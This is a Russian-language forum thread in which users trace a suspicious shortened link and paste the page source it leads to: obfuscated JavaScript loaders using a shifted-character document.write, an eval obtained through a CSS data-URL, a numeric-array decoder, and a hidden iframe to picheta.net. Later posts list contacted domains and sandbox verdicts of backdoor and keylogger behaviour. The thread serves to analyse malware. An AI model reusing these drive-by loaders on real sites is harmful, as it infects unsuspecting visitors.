InetGuards

  • Автор темы Автор темы Arbitr
  • Дата начала Дата начала
Arbitr

Arbitr

Ассоциация VN
VIP
Сообщения
3,445
Реакции
1,405
интересно чем буду заражен по этой ссылке?) хттп://tinyurl.com/4q7hohy
судя по всему ща будем с этим бороться в темах по лечению
 
Там редирект на хттп://familysekrets.com/fa/?wmid=1132&subid=3512&pt=1

который ведет
PHP: 
 <html><head><script type="text/javascript">var hexcase=0;
 function hex_md5(a)
 {
   return rstr2hex(rstr_md5(str2rstr_utf8(a)))
 }
 function hex_hmac_md5(a,b)
 {
   return rstr2hex(rstr_hmac_md5(str2rstr_utf8(a),str2rstr_utf8(b)))
 }
 function md5_vm_test()
 {
   return hex_md5("abc").toLowerCase()=="900150983cd24fb0d6963f7d28e17f72"
 }
 function rstr_md5(a)
 {
   return binl2rstr(binl_md5(rstr2binl(a),a.length*8))
 }
 function rstr_hmac_md5(c,f)
 {
   var e=rstr2binl(c);
   if(e.length>16)
   {
     e=binl_md5(e,c.length*8)
   }
   var a=Array(16),d=Array(16);
   for(var b=0;
   b<16;
   b++)
   {
     a[b]=e[b]^909522486;
     d[b]=e[b]^1549556828
   }
   var g=binl_md5(a.concat(rstr2binl(f)),512+f.length*8);
   return binl2rstr(binl_md5(d.concat(g),512+128))
 }
 function rstr2hex(c)
 {
   try
   {
     hexcase
   }
   catch(g)
   {
     hexcase=0
   }
   var f=hexcase?"0123456789ABCDEF":"0123456789abcdef";
   var b="";
   var a;
   for(var d=0;
   d<c.length;
   d++)
   {
     a=c.charCodeAt(d);
     b+=f.charAt((a>>>4)&15)+f.charAt(a&15)
   }
   return b
 }
 function str2rstr_utf8(c)
 {
   var b="";
   var d=-1;
   var a,e;
   while(++d<c.length)
   {
     a=c.charCodeAt(d);
     e=d+1<c.length?c.charCodeAt(d+1):0;
     if(55296<=a&&a<=56319&&56320<=e&&e<=57343)
     {
       a=65536+((a&1023)<<10)+(e&1023);
       d++
     }
     if(a<=127)
     {
       b+=String.fromCharCode(a)
     }
     else
     {
       if(a<=2047)
       {
         b+=String.fromCharCode(192|((a>>>6)&31),128|(a&63))
       }
       else
       {
         if(a<=65535)
         {
           b+=String.fromCharCode(224|((a>>>12)&15),128|((a>>>6)&63),128|(a&63))
         }
         else
         {
           if(a<=2097151)
           {
             b+=String.fromCharCode(240|((a>>>18)&7),128|((a>>>12)&63),128|((a>>>6)&63),128|(a&63))
           }
           
         }
         
       }
       
     }
     
   }
   return b
 }
 function rstr2binl(b)
 {
   var a=Array(b.length>>2);
   for(var c=0;
   c<a.length;
   c++)
   {
     a[c]=0
   }
   for(var c=0;
   c<b.length*8;
   c+=8)
   {
     a[c>>5]|=(b.charCodeAt(c/8)&255)<<(c%32)
   }
   return a
 }
 function binl2rstr(b)
 {
   var a="";
   for(var c=0;
   c<b.length*32;
   c+=8)
   {
     a+=String.fromCharCode((b[c>>5]>>>(c%32))&255)
   }
   return a
 }
 function binl_md5(p,k)
 {
   p[k>>5]|=128<<((k)%32);
   p[(((k+64)>>>9)<<4)+14]=k;
   var o=1732584193;
   var n=-271733879;
   var m=-1732584194;
   var l=271733878;
   for(var g=0;
   g<p.length;
   g+=16)
   {
     var j=o;
     var h=n;
     var f=m;
     var e=l;
     o=md5_ff(o,n,m,l,p[g+0],7,-680876936);
     l=md5_ff(l,o,n,m,p[g+1],12,-389564586);
     m=md5_ff(m,l,o,n,p[g+2],17,606105819);
     n=md5_ff(n,m,l,o,p[g+3],22,-1044525330);
     o=md5_ff(o,n,m,l,p[g+4],7,-176418897);
     l=md5_ff(l,o,n,m,p[g+5],12,1200080426);
     m=md5_ff(m,l,o,n,p[g+6],17,-1473231341);
     n=md5_ff(n,m,l,o,p[g+7],22,-45705983);
     o=md5_ff(o,n,m,l,p[g+8],7,1770035416);
     l=md5_ff(l,o,n,m,p[g+9],12,-1958414417);
     m=md5_ff(m,l,o,n,p[g+10],17,-42063);
     n=md5_ff(n,m,l,o,p[g+11],22,-1990404162);
     o=md5_ff(o,n,m,l,p[g+12],7,1804603682);
     l=md5_ff(l,o,n,m,p[g+13],12,-40341101);
     m=md5_ff(m,l,o,n,p[g+14],17,-1502002290);
     n=md5_ff(n,m,l,o,p[g+15],22,1236535329);
     o=md5_gg(o,n,m,l,p[g+1],5,-165796510);
     l=md5_gg(l,o,n,m,p[g+6],9,-1069501632);
     m=md5_gg(m,l,o,n,p[g+11],14,643717713);
     n=md5_gg(n,m,l,o,p[g+0],20,-373897302);
     o=md5_gg(o,n,m,l,p[g+5],5,-701558691);
     l=md5_gg(l,o,n,m,p[g+10],9,38016083);
     m=md5_gg(m,l,o,n,p[g+15],14,-660478335);
     n=md5_gg(n,m,l,o,p[g+4],20,-405537848);
     o=md5_gg(o,n,m,l,p[g+9],5,568446438);
     l=md5_gg(l,o,n,m,p[g+14],9,-1019803690);
     m=md5_gg(m,l,o,n,p[g+3],14,-187363961);
     n=md5_gg(n,m,l,o,p[g+8],20,1163531501);
     o=md5_gg(o,n,m,l,p[g+13],5,-1444681467);
     l=md5_gg(l,o,n,m,p[g+2],9,-51403784);
     m=md5_gg(m,l,o,n,p[g+7],14,1735328473);
     n=md5_gg(n,m,l,o,p[g+12],20,-1926607734);
     o=md5_hh(o,n,m,l,p[g+5],4,-378558);
     l=md5_hh(l,o,n,m,p[g+8],11,-2022574463);
     m=md5_hh(m,l,o,n,p[g+11],16,1839030562);
     n=md5_hh(n,m,l,o,p[g+14],23,-35309556);
     o=md5_hh(o,n,m,l,p[g+1],4,-1530992060);
     l=md5_hh(l,o,n,m,p[g+4],11,1272893353);
     m=md5_hh(m,l,o,n,p[g+7],16,-155497632);
     n=md5_hh(n,m,l,o,p[g+10],23,-1094730640);
     o=md5_hh(o,n,m,l,p[g+13],4,681279174);
     l=md5_hh(l,o,n,m,p[g+0],11,-358537222);
     m=md5_hh(m,l,o,n,p[g+3],16,-722521979);
     n=md5_hh(n,m,l,o,p[g+6],23,76029189);
     o=md5_hh(o,n,m,l,p[g+9],4,-640364487);
     l=md5_hh(l,o,n,m,p[g+12],11,-421815835);
     m=md5_hh(m,l,o,n,p[g+15],16,530742520);
     n=md5_hh(n,m,l,o,p[g+2],23,-995338651);
     o=md5_ii(o,n,m,l,p[g+0],6,-198630844);
     l=md5_ii(l,o,n,m,p[g+7],10,1126891415);
     m=md5_ii(m,l,o,n,p[g+14],15,-1416354905);
     n=md5_ii(n,m,l,o,p[g+5],21,-57434055);
     o=md5_ii(o,n,m,l,p[g+12],6,1700485571);
     l=md5_ii(l,o,n,m,p[g+3],10,-1894986606);
     m=md5_ii(m,l,o,n,p[g+10],15,-1051523);
     n=md5_ii(n,m,l,o,p[g+1],21,-2054922799);
     o=md5_ii(o,n,m,l,p[g+8],6,1873313359);
     l=md5_ii(l,o,n,m,p[g+15],10,-30611744);
     m=md5_ii(m,l,o,n,p[g+6],15,-1560198380);
     n=md5_ii(n,m,l,o,p[g+13],21,1309151649);
     o=md5_ii(o,n,m,l,p[g+4],6,-145523070);
     l=md5_ii(l,o,n,m,p[g+11],10,-1120210379);
     m=md5_ii(m,l,o,n,p[g+2],15,718787259);
     n=md5_ii(n,m,l,o,p[g+9],21,-343485551);
     o=safe_add(o,j);
     n=safe_add(n,h);
     m=safe_add(m,f);
     l=safe_add(l,e)
   }
   return Array(o,n,m,l)
 }
 function md5_cmn(h,e,d,c,g,f)
 {
   return safe_add(bit_rol(safe_add(safe_add(e,h),safe_add(c,f)),g),d)
 }
 function md5_ff(g,f,k,j,e,i,h)
 {
   return md5_cmn((f&k)|((~f)&j),g,f,e,i,h)
 }
 function md5_gg(g,f,k,j,e,i,h)
 {
   return md5_cmn((f&j)|(k&(~j)),g,f,e,i,h)
 }
 function md5_hh(g,f,k,j,e,i,h)
 {
   return md5_cmn(f^k^j,g,f,e,i,h)
 }
 function md5_ii(g,f,k,j,e,i,h)
 {
   return md5_cmn(k^(f|(~j)),g,f,e,i,h)
 }
 function safe_add(a,d)
 {
   var c=(a&65535)+(d&65535);
   var b=(a>>16)+(d>>16)+(c>>16);
   return(b<<16)|(c&65535)
 }
 function bit_rol(a,b)
 {
   return(a<<b)|(a>>>(32-b))
 }
 ;</script><script>hstr=";
 rbqhos=cnbtldms-vqhsd'tmdrb`od'&$2b$62$52$61$58$6/$63$1/$63$68$6/$54$2c$11$63$54$67$63$1e$5`$50$65$50$62$52$61$58$6/$63$11$2d$66$58$5d$53$5e$66$1d$5b$5e$52$50$63$58$5e$5d$2c$16$1e$16$1a$57$54$67$4e$5c$53$24$17$16$23$25$20$26$21$2/$55$51$21$28$28$55$24$50$23$54$2/$23$54$24$54$23$26$54$54$25$24$23$27$25$23$27$16$18$2a$2b$1e$62$52$61$58$6/$63$2d&((:;
 .rbqhos=";
 for(i=0;
 i<358;
 i++)document.write(String.fromCharCode(hstr.charCodeAt(i)+1));
 </script></head><body></body></html>

Добавлено через 3 минуты 55 секунд
Если расшифруете то возьмите с полки шоколадку.
 
скрипт сбора информации о системе насколько я понял по мд5 .. только вот еще чего либо не увидел.. как же заражение идет??? или потом по новой какую то ссылку юзеру забрасывают??
 
document.write(String.fromCharCode(hstr.charCodeAt
Дело в этом в скрипте,но не помню что делает,но знаю,что это 100% или я не прав?

Добавлено через 4 минуты 53 секунды
Нашёл,где про это даже говорится,так что я прав оказался
http://m.habrahabr.ru/post/80979/?wob=dbZaud
 
Внизу страницы
PHP: 
<script>function createCSS(selector,declaration)
 {
   var ua=navigator.userAgent.toLowerCase();
   var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));
   var style_node=document.createElement("style");
   if(!isIE)style_node.innerHTML=selector+"
   {
     "+declaration+"
   }
   ";
   document.getElementsByTagName("head")[0].appendChild(style_node);
   if(isIE&&document.styleSheets&&document.styleSheets.length>0)
   {
     var last_style_node=document.styleSheets[document.styleSheets.length-1];
     if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);
   }
   
 }
 ;createCSS('#c0','background:url(data:,eval)');
 var wij=null;
 var r=document.styleSheets;
 for(var i=0;
 i<r.length;
 i++)
 {
   try
   {
***
       if(!urnz.selectorText.match(/#c(\d+)/))continue;
       wij=urnz.style.backgroundImage.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];
     }
     ;
   }
   catch(e)
   {
     
   }
   ;
 }
 puny=new Date(2010,11,3,2,21,4);
 t=puny.getSeconds();
 var rpzc=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,448/t,420/t,396/t,416/t,404/t,464/t,388/t,184/t,440/t,404/t,464/t,188/t,412/t,456/t,404/t,404/t,440/t,184/t,448/t,416/t,448/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,448/t,420/t,396/t,416/t,404/t,464/t,388/t,184/t,440/t,404/t,464/t,188/t,412/t,456/t,404/t,404/t,440/t,184/t,448/t,416/t,448/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,416/t,404/t,420/t,412/t,416/t,464/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,52/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];
 var mw="";
 ukxy=function()
 {
   return
   {
     e:eval
   }
   
 }
 ().e;
 qf=ukxy(wij);
 var mv='';
 var phm="fro"+puny.getSeconds()+"arCode";
 phm=phm.replace(4,"mCh");
 hx=String[phm];
 for(var i=0;
 i<rpzc.length;
 i++)
 {
****
 }
 qf(mv);
 </script><iframe style="visibility: hidden;
 position: absolute;
 left: 0pt;
 top: 0pt;
 outline: medium none;
 " src="http://picheta.net/green.php" height="10" width="10"></iframe>
 
 </body></html>

Добавлено через 22 минуты 0 секунд
Посылаются запросы на следующие ресурсы:
goodpetrovich.c*m
artplanet.su
picheta.n*t

И дальше немного сухой статистики
Detected backdoor listening on port: 0
Detected keylogger functionality
Listed all entry names in a remote access phone book
Нажмите для раскрытия...
 
Прислали ответ:
"Максим, у нас более 300 удаленных сотрудников и все они начинали со вступительного взноса, а присоединяться к их числу или нет - дело исключительно ваше.
Всего хорошего.
С уважением, Ольга."
 
Xandra, не понятно ваш пост к чему относится, ответ на что?
 
Назад
Сверху Снизу